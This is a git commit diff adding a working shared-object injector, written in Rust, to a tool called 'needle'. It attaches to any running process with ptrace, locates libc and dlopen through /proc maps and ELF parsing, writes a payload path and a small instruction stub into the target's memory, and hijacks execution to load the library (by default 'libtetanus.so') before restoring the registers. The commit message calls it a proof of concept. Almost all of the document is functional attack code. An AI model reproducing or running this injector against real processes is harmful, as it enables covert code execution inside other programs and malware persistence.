feat: working injection
can inject any shared object into any running process, restoring registers and continuing execution afterwards. requires no initial address knowledge, but must be able to PTRACE_ATTACH and read /proc/maps of target process and the libc object used by target process. Otherwise, offsets and paths can be specified manually from cmdline. this is by no means optimized or reliable, just a Proof Of Concept! works tho
This commit is contained in:
parent
b5236f7d27
commit
d3f08ba22a
4 changed files with 169 additions and 43 deletions
|
@ -17,4 +17,6 @@ path = "src/needle/main.rs"
|
|||
[dependencies]
|
||||
clap = { version = "4.1.13", features = ["derive"] }
|
||||
ctor = "0.1.26"
|
||||
elf = "0.7.2"
|
||||
nix = "0.26.2"
|
||||
proc-maps = "0.3.0"
|
||||
|
|
68
src/needle/explorers.rs
Normal file
68
src/needle/explorers.rs
Normal file
|
@ -0,0 +1,68 @@
|
|||
use std::{ffi::c_void, path::{Path, PathBuf}, io::{ErrorKind, Error}};
|
||||
|
||||
use elf::{ElfBytes, endian::AnyEndian, abi::{PT_LOAD, ET_EXEC}};
|
||||
use nix::{unistd::Pid, sys::{ptrace, wait::waitpid}};
|
||||
use proc_maps::get_process_maps;
|
||||
|
||||
pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
||||
let mut registers;
|
||||
let mut addr;
|
||||
let mut instructions;
|
||||
|
||||
// seek to syscall
|
||||
loop {
|
||||
registers = ptrace::getregs(pid)?;
|
||||
addr = registers.rip as usize;
|
||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
|
||||
|
||||
if instructions & 0xFFFF == 0x050F {
|
||||
return Ok(addr);
|
||||
}
|
||||
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
}
|
||||
}
|
||||
|
||||
fn _path_to_str<'a>(p: Option<&'a Path>) -> &'a str {
|
||||
match p {
|
||||
Some(path) => {
|
||||
match path.to_str() {
|
||||
Some(s) => s,
|
||||
None => "?",
|
||||
}
|
||||
},
|
||||
None => "",
|
||||
}
|
||||
}
|
||||
|
||||
pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
|
||||
let proc_maps = get_process_maps(pid.as_raw())?;
|
||||
|
||||
for map in proc_maps {
|
||||
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
|
||||
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
|
||||
return Ok((
|
||||
map.start() - map.offset,
|
||||
map.filename().expect("matched empty option?").to_path_buf()
|
||||
));
|
||||
}
|
||||
}
|
||||
|
||||
Err(Error::new(ErrorKind::NotFound, "no libc in target proc maps"))
|
||||
}
|
||||
|
||||
pub fn find_dlopen(path: &Path) -> std::io::Result<usize> {
|
||||
let libc = std::fs::read(path).expect("could not read libc");
|
||||
let headers = ElfBytes::<AnyEndian>::minimal_parse(&libc).expect("failed parsing libc as ELF");
|
||||
let common = headers.find_common_data().expect("shdrs should parse");
|
||||
let dynsyms = common.dynsyms.unwrap();
|
||||
let strtab = common.dynsyms_strs.unwrap();
|
||||
let hash_table = common.sysv_hash.unwrap();
|
||||
let (_id, dlopen) = hash_table.find(b"dlopen", &dynsyms, &strtab)
|
||||
.expect("could not parse symbols hash table")
|
||||
.expect("could not find dlopen symbol");
|
||||
|
||||
return Ok(dlopen.st_value as usize);
|
||||
}
|
|
@ -1,28 +1,5 @@
|
|||
use std::ffi::c_void;
|
||||
|
||||
use nix::{Result, unistd::Pid, sys::{ptrace, wait::waitpid}};
|
||||
use nix::{Result, unistd::Pid};
|
||||
|
||||
pub trait RemoteOperation {
|
||||
fn inject(&mut self, pid: Pid, syscall: usize) -> Result<u64>;
|
||||
}
|
||||
|
||||
pub fn step_to_syscall(pid: Pid) -> Result<usize> {
|
||||
let mut registers;
|
||||
let mut addr;
|
||||
let mut instructions;
|
||||
|
||||
// seek to syscall
|
||||
loop {
|
||||
registers = ptrace::getregs(pid)?;
|
||||
addr = registers.rip as usize;
|
||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
|
||||
|
||||
if instructions & 0xFFFF == 0x050F {
|
||||
return Ok(addr);
|
||||
}
|
||||
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -4,48 +4,127 @@ mod senders;
|
|||
mod injector;
|
||||
mod explorers;
|
||||
|
||||
use injector::{RemoteOperation, step_to_syscall};
|
||||
use std::path::PathBuf;
|
||||
|
||||
use injector::RemoteOperation;
|
||||
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
||||
use clap::Parser;
|
||||
|
||||
use executors::RemoteShellcode;
|
||||
use senders::RemoteString;
|
||||
use syscalls::RemoteWrite;
|
||||
use explorers::step_to_syscall;
|
||||
|
||||
use crate::explorers::{find_libc, find_dlopen};
|
||||
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
struct NeedleArgs {
|
||||
/// target process pid
|
||||
pid: i32,
|
||||
|
||||
/// shared object to inject into target process
|
||||
#[arg(short, long, default_value = "./target/debug/libtetanus.so")]
|
||||
payload: String,
|
||||
|
||||
/// exact address of dlopen function, calculated with `base + offset` if not given
|
||||
#[arg(long)]
|
||||
addr: Option<usize>,
|
||||
|
||||
/// base address of libc in memory (minus offset), calculated with /proc/<pid>/maps if not given
|
||||
#[arg(long)]
|
||||
base: Option<usize>,
|
||||
|
||||
/// offset address of dlopen inside libc, calculated reading libc ELF if not given
|
||||
#[arg(long)]
|
||||
offset: Option<usize>,
|
||||
|
||||
/// path of libc shared object on disk, used to calculate symbol offset in ELF
|
||||
#[arg(long)]
|
||||
path: Option<PathBuf>,
|
||||
}
|
||||
|
||||
const SHELLCODE : [u8; 2] = [0x90, 0x90];
|
||||
|
||||
pub fn nasty_stuff(pid: Pid) -> Result<()> {
|
||||
let syscall_addr = step_to_syscall(pid)?;
|
||||
let mut msg = RemoteString::new("injected!\n\0".into());
|
||||
msg.inject(pid, syscall_addr)?;
|
||||
RemoteWrite::args(1, msg).inject(pid, syscall_addr)?;
|
||||
RemoteShellcode::new(&SHELLCODE).inject(pid, syscall_addr)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn main() -> Result<()> {
|
||||
let args = NeedleArgs::parse();
|
||||
fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||
let pid = Pid::from_raw(args.pid);
|
||||
|
||||
ptrace::attach(pid)?;
|
||||
waitpid(pid, None)?;
|
||||
|
||||
println!("Attached to process #{}", args.pid);
|
||||
|
||||
let regs = ptrace::getregs(pid)?;
|
||||
nasty_stuff(pid)?;
|
||||
// continue running process step-by-step until we find a syscall
|
||||
let syscall = step_to_syscall(pid)?; // TODO no real need to step...
|
||||
let original_regs = ptrace::getregs(pid)?; // store original regs to restore after injecting
|
||||
|
||||
// move path to our payload into target address space
|
||||
let tetanus = RemoteString::new(args.payload + "\0")
|
||||
.inject(pid, syscall)?;
|
||||
|
||||
// find dlopen address
|
||||
// TODO make this part less spaghetti
|
||||
let dlopen_addr;
|
||||
if let Some(addr) = args.addr {
|
||||
dlopen_addr = addr;
|
||||
} else {
|
||||
let (mut calc_base, mut calc_fpath) = (0, "".into()); // rust complains about uninitialized...
|
||||
if args.path.is_none() || args.base.is_none() { // if user gives both no need to calculate it
|
||||
(calc_base, calc_fpath) = find_libc(pid).expect("could not read proc maps of process");
|
||||
}
|
||||
|
||||
let base = match args.base {
|
||||
Some(b) => b,
|
||||
None => calc_base,
|
||||
};
|
||||
|
||||
let fpath = match args.path {
|
||||
Some(p) => p,
|
||||
None => calc_fpath,
|
||||
};
|
||||
|
||||
let offset = match args.offset {
|
||||
Some(o) => o,
|
||||
None => find_dlopen(&fpath).expect("could not read libc shared object")
|
||||
};
|
||||
|
||||
dlopen_addr = base + offset;
|
||||
}
|
||||
|
||||
println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr);
|
||||
|
||||
let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode?
|
||||
0x55, // pusb rbp
|
||||
0x48, 0x89, 0xE5, // mov rbp, rsp
|
||||
0xFF, 0x15, 0x08, 0x00, 0x00, 0x00, // call [rip+0x8] # fake call to store RIP
|
||||
0xCC, // trap <--- ret should land here
|
||||
0x90, // nop
|
||||
0x90, // nop <--- call should land here
|
||||
0xCC, // trap
|
||||
];
|
||||
|
||||
RemoteShellcode::new(&shellcode)
|
||||
.inject(pid, syscall)?;
|
||||
|
||||
// intercept our mock CALL and redirect it to dlopen real address (also fill args)
|
||||
let mut regs = ptrace::getregs(pid)?;
|
||||
regs.rip = dlopen_addr as u64;
|
||||
regs.rdi = tetanus;
|
||||
regs.rsi = 0x1;
|
||||
ptrace::setregs(pid, regs)?;
|
||||
ptrace::cont(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
println!("Injected dlopen() call");
|
||||
|
||||
// restore original registers and detach
|
||||
// TODO clean allocated areas
|
||||
ptrace::setregs(pid, original_regs)?;
|
||||
ptrace::detach(pid, None)?;
|
||||
|
||||
println!("Released process #{}", args.pid);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let args = NeedleArgs::parse();
|
||||
|
||||
if let Err(e) = nasty_stuff(args) {
|
||||
eprintln!("Error while injecting : {} ({})", e, e.desc());
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Reference in a new issue